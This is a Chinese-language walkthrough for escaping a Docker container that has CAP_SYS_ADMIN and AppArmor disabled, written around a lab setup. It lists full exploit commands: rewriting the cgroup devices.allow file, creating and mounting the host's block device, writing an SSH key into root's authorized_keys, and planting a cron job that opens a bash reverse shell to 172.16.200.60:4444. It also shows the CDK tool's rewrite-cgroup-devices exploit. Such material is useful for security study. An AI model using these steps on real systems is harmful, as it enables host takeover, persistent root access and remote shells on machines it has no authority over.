当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。
环境搭建
执行如下命令启动存在漏洞的容器环境,在赋予sys_admin权限的同时,需要关掉安全组apparmor设置
docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest
在容器中使用cdk进行检测,可以看到容器中多了CAP_SYS_ADMIN的Capability
也可以手动检测Capability
cat /proc/self/status | grep CapEff
capsh --decode=00000000a82425fb
重写devices.allow进行容器逃逸
devices子系统用于配制允许或者阻止cgroup中的task访问某个设备,起到黑白名单的作用,其中包括devices.allow、devices.deny、devices.list。本次逃逸方式需要用到需要用到devices.allow文件,该文件记录该cgroup中能够访问的设备列表
在容器内挂载宿主机cgroup的devices
#-t指定挂载的类型,-o指定挂载的选项
mkdir /tmp/test && mount -t cgroup -o devices devices /tmp/test
在容器内查找容器的ID,并且切换到该ID对应的目录下,设置容器允许访问所有类型设备,即devices.allow文件值为a。
#查找容器的ID
cat /proc/self/cgroup | grep docker | head -1 | sed 's/.*\/docker\/\(.*\)/\1/g'
#切换到ID对应的目录下
cd /tmp/test/system.slice/容器ID/
#设置容器允许访问所有类型设备
echo a > devices.allow
接下来需要获取当前容器的node号和文件系统类型,由于容器内的/etc/hosts、/etc/resolv.conf、/etc/hostname这三个文件是默认从宿主机挂载进容器的,所以在他们的挂载信息内很容易能获取到主设备号ID。
执行如下命令查看/etc目录的node号和文件系统类型。
cat /proc/self/mountinfo | grep /etc | awk '{print $3,$8}' | head -1
在根目录下执行如下命令创建设备文件host
mknod host b 252 5
然后就可以对宿主机进行文件读写操作了,后续操作需要看容器是什么文件系统。
如果是xfs文件系统,则需要执行如下命令挂载设备文件host
#挂载设备文件host到/tmp/test2
mkdir /tmp/test2 && mount host /tmp/test2
执行如下命令写入SSH公钥进行免密登录
#切换到挂载的目录
cd /tmp/test2/root/.ssh/
#写入SSH公钥
echo "公钥内容" >> /tmp/test2/root/.ssh/authorized_keys
然后就可以免密登录了
执行如下命令写入计划任务反弹shell
#切换到挂载的目录
cd /tmp/test2/var/spool/cron
#写入反弹shell的命令
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.200.60/4444 0>&1" > root
注:如果宿主机是Ubuntu系统的话,计划任务反弹shell会有问题。这是Ubuntu计划任务反弹shell的问题。
最后利用完之后,可以执行如下命令清除挂载和删除设备文件host
#取消host挂载
umount host
#删除host设备文件
rm host
#取消devices挂载
umount devices
如果是ext2/ext3/ext4文件系统,则可以直接执行如下命令进行调试即可对宿主机进行文件读写操作。
debugfs -w host
但是通过debugfs进行调试使用write命令将容器的文件复制到宿主机时会出现问题,虽然在debugfs界面查看是正常的
write /tmp/authorized_keys /root/.ssh/authorized_keys
但是在宿主机查看公钥文件时可以看到,其权限信息是乱的
并且也无法查看和删除通过debugfs界面上传的文件
也可以使用CDK来进行漏洞利用,但是需要目标是XFS文件系统。使用CDK执行如下命令进行利用
#执行rewrite-cgroup-devices逃逸
./cdk run rewrite-cgroup-devices
debugfs -w cdk_mknod_result
#执行?可以看到有哪些命令
可以执行cat ls等命令。需要注意的是,读取和查看的目录或文件都需要是绝对路径。
但是echo命令不存在,无法通过echo命令写入公钥,也无法写入计划任务反弹shell。